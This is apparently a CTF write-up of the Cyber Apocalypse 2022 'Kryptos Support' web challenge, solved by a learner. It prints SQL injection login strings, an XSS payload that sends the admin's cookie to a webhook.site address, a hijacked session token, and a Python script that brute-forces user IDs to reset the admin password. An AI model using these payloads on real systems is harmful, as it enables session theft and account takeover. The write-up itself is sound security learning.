Cyber Apocalypse CTF 2022 - Kryptos Support Writeup
This challenge is on the web category from cyber apocalypse CTF 2022, it showcases some basic XSS and IDOR attacks.
CHALLENGE INFO
The secret vault used by the Longhir's planet council, Kryptos, contains some very sensitive state secrets that Virgil and Ramona are after to prove the injustice performed by the commission. Ulysses performed an initial recon at their request and found a support portal for the vault. Can you take a look if you can infiltrate this system?
BASELINE ANALYSIS
After pocking around we can see:
A login page
So maybe we can perform an SQL injection attack.
login : 1' or '1'='1
password : 1' or '1'='1
login : admin' --
password : 1' or '1'='1'
but that didn't work 😢
So next we have a form to submit tickets.
It said that an admin will review the ticket, so from here, we can think of an XSS attack to steal the admin cookies.
Let's try this payload.
<img
src="x"
onerror="this.src"
="https://webhook.site/1710ed32-135a-4c13-923e-6640613888ae/?c="
+document.cookie
/>
Excellent 👏, we have now the admin cookies.
session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3ODAwNzJ9.mbhhvlDZz3S4phC4QTRN4bn6Z8nsKcv-mTM-h9dsjoM
We need to inject it into our browser.
There is a couple of ways to do so, we will use the navigator itself:
Press CTRL+ I to open the inspector
Go to the application tab
Search for Cookies
After setting the cookies, I did refresh the page, and nothing happened 🙃 loool
I expected a redirect to the admin page but instead, we need to type explicitly /admin
I searched for the flag. Nothing is there.
I logged in as a moderator and there was a setting page where we can change our password.
I did try to change the password and intercept the request using burp suite.
POST /api/users/update HTTP/1.1
Host: 167.71.137.43:30943
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://167.71.137.43:30943/settings
Content-Type: application/json
Origin: http://167.71.137.43:30943
Content-Length: 33
Connection: close
Cookie: session=§eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3ODAwNzJ9.mbhhvlDZz3S4phC4QTRN4bn6Z8nsKcv-mTM-h9dsjoM§
{"password":"§123456§","uid":"§100§"}
I tried to decode this
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3ODAwNzJ9.mbhhvlDZz3S4phC4QTRN4bn6Z8nsKcv-mTM-h9dsjoM" | base64 -d
{"alg":"HS256","typ":"JWT"} base64: invalid input
So we can see its as a JSON WEB TOKEN, i did use this website https://jwt.io/ to see more data
HEADER:
{
"alg": "HS256",
"typ": "JWT"
}
PAYLOAD: DATA
{
"username": "moderator",
"uid": 100,
"iat": 1652780072
}
I did send the request to intruder to try to brute force the "uid":"§100§" with a sequence of numbers from 0 to 500.
Hoping that we can change the admin password.
and boooooom 💥 , the uid was 1 😅.
{"message":"Password for admin changed successfully!"}
Now we log out and log in again with:
user: admin
password: 123456
and we have the flag 🥳
During the challenge, I didn't solve this with intruder, I did use this simple python script which will lead to the same result.
import requests
from requests.structures import CaseInsensitiveDict
url = "http://167.71.137.43:30943/api/users/update"
headers = CaseInsensitiveDict()
headers["Connection"] = "keep-alive"
headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36"
headers["Content-Type"] = "application/json"
headers["Accept"] = "*/*"
headers["Origin"] = "http://46.101.30.188:30069"
headers["Referer"] = "http://46.101.30.188:30069/settings"
headers["Accept-Language"] = "en-US,en;q=0.9,fr;q=0.8,nl;q=0.7,de;q=0.6,ar;q=0.5"
headers["Cookie"] = "session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3ODAwNzJ9.mbhhvlDZz3S4phC4QTRN4bn6Z8nsKcv-mTM-h9dsjoM"
for i in range(500):
data = '{"password":"123456","uid":'+str(i)+'}'
resp = requests.post(url, headers=headers, data=data)
print("trying uid : " + str(i))
if resp.status_code == 200:
print("uid : " + str(i))
print("content : " + resp.content.decode('utf-8'))
I really enjoy playing CTFs, it's the perfect way for me to learn, grow and challenge my knowledge, and I will try to share more writeups every time I can.
I also love to stay connected with people that have the same passion so you can find me on LinkedIn or Twitter.